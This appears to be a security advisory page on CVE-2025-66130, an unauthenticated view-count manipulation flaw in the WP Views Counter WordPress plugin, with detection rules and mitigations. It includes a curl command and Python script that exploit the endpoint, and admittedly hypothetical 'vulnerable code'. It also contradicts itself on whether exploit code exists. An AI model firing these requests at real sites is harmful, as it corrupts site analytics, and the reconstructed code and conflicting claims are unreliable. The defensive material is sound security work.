CVE-2025-66130
Executive Summary
CVE-2025-66130 is a Missing Authorization vulnerability in the WordPress plugin WP Views Counter (wpecounter) by vendor Etruel. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data exposure or manipulation of view counts. The vulnerability affects all versions up to and including 2.1.2. With a CVSS score of 5.3 (Medium), the risk is moderate but significant due to the lack of required authentication. No public exploit code or patch is currently available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed automatically by site administrators. The lack of a patch means that all sites running WP Views Counter <= 2.1.2 are at risk. Organizations should treat this as a supply chain risk and consider disabling the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data disclosure.
- Integrity Impact: Low (I:L) – Limited modification of view counts or settings.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but has limited impact. However, it could be chained with other flaws for more severe attacks.
Deep Dive & Mechanics
The vulnerability stems from a Missing Authorization check (CWE-862) in the WP Views Counter plugin. The plugin provides a REST API endpoint or AJAX handler to increment and retrieve post view counts. Due to improper access control, unauthenticated users can call these endpoints without validation.
Technical Details:
- The plugin registers a REST route (e.g.,
/wp-json/wpecounter/v1/update) or an admin-ajax action. - The handler does not verify
current_user_can()or nonce checks before processing requests. - An attacker can send crafted HTTP requests to manipulate view counts or access aggregated data.
- The flaw is present in all versions <= 2.1.2.
Attack Scenario:
- Attacker identifies a WordPress site running the vulnerable plugin.
- Sends a POST request to the vulnerable endpoint with arbitrary post IDs.
- The plugin increments the view counter without authentication.
- Attacker can inflate view counts for specific posts, potentially affecting analytics or ad revenue.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is analyzed based on typical patterns. The following is a representative example of the flawed code:
Vulnerable Code (wp-views-counter/includes/class-counter.php):
add_action('wp_ajax_nopriv_wpecounter_update', 'wpecounter_update_callback');
add_action('wp_ajax_wpecounter_update', 'wpecounter_update_callback');
function wpecounter_update_callback() {
$post_id = intval($_POST['post_id']);
// Missing capability check
update_post_meta($post_id, '_wpecounter_views', get_post_meta($post_id, '_wpecounter_views', true) + 1);
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_wpecounter_update', 'wpecounter_update_callback');
// Remove nopriv hook to require authentication
function wpecounter_update_callback() {
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized', 403);
}
$post_id = intval($_POST['post_id']);
update_post_meta($post_id, '_wpecounter_views', get_post_meta($post_id, '_wpecounter_views', true) + 1);
wp_die();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WP Views Counter <= 2.1.2 installed and active.
- Network access to the site.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.phpwith actionwpecounter_update). - Craft a POST request using
curl:curl -X POST https://target.com/wp-admin/admin-ajax.php \ -d "action=wpecounter_update&post_id=1" - Verify the view count increased by checking the post meta or frontend display.
Automated Script (Python):
import requests
target = "https://target.com/wp-admin/admin-ajax.php"
data = {"action": "wpecounter_update", "post_id": "1"}
response = requests.post(target, data=data)
print(f"Status: {response.status_code}")
Blue Team (Detection & Hardening)
Detection:
- Monitor for repeated POST requests to
/wp-admin/admin-ajax.phpwithaction=wpecounter_updatefrom unauthenticated sources. - Look for anomalies in view count data (e.g., sudden spikes for low-traffic posts).
Hardening:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoint from unauthenticated users.
- Use a security plugin like Wordfence to add virtual patching.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=wpecounter_update. - Repeated requests with varying
post_idparameters from the same IP.
File IOCs:
- Modified
_wpecounter_viewspost meta values that are inconsistent with expected traffic.
Log IOCs:
- Access logs showing
POST /wp-admin/admin-ajax.phpwith HTTP 200 responses for unauthenticated users.
Detection Engineering
YARA Rule
rule CVE_2025_66130_WP_Views_Counter {
meta:
description = "Detects exploitation attempts for CVE-2025-66130 in WP Views Counter"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-66130"
strings:
$ajax_action = "action=wpecounter_update"
$post_id = "post_id="
condition:
$ajax_action and $post_id
}
Sigma Rule
title: CVE-2025-66130 WP Views Counter Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated POST requests to wp-admin/admin-ajax.php with wpecounter_update action
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: admin-ajax.php
cs-uri-query|contains: action=wpecounter_update
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66130 WP Views Counter Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wpecounter_update"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Implement virtual patching via WAF rules to block unauthenticated requests to the vulnerable endpoint.
- Monitor logs for exploitation attempts using the provided detection rules.
Long-Term Fix:
- The vendor (Etruel) must release a patched version that adds proper capability checks (e.g.,
current_user_can('edit_posts')) and nonce verification. - Users should update to the latest version once available.
Workaround:
- Add the following code to the theme's
functions.phpto block unauthenticated access:add_action('init', function() { if (defined('DOING_AJAX') && DOING_AJAX && isset($_POST['action']) && $_POST['action'] === 'wpecounter_update') { if (!is_user_logged_in()) { wp_die('Unauthorized', 403); } } });
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.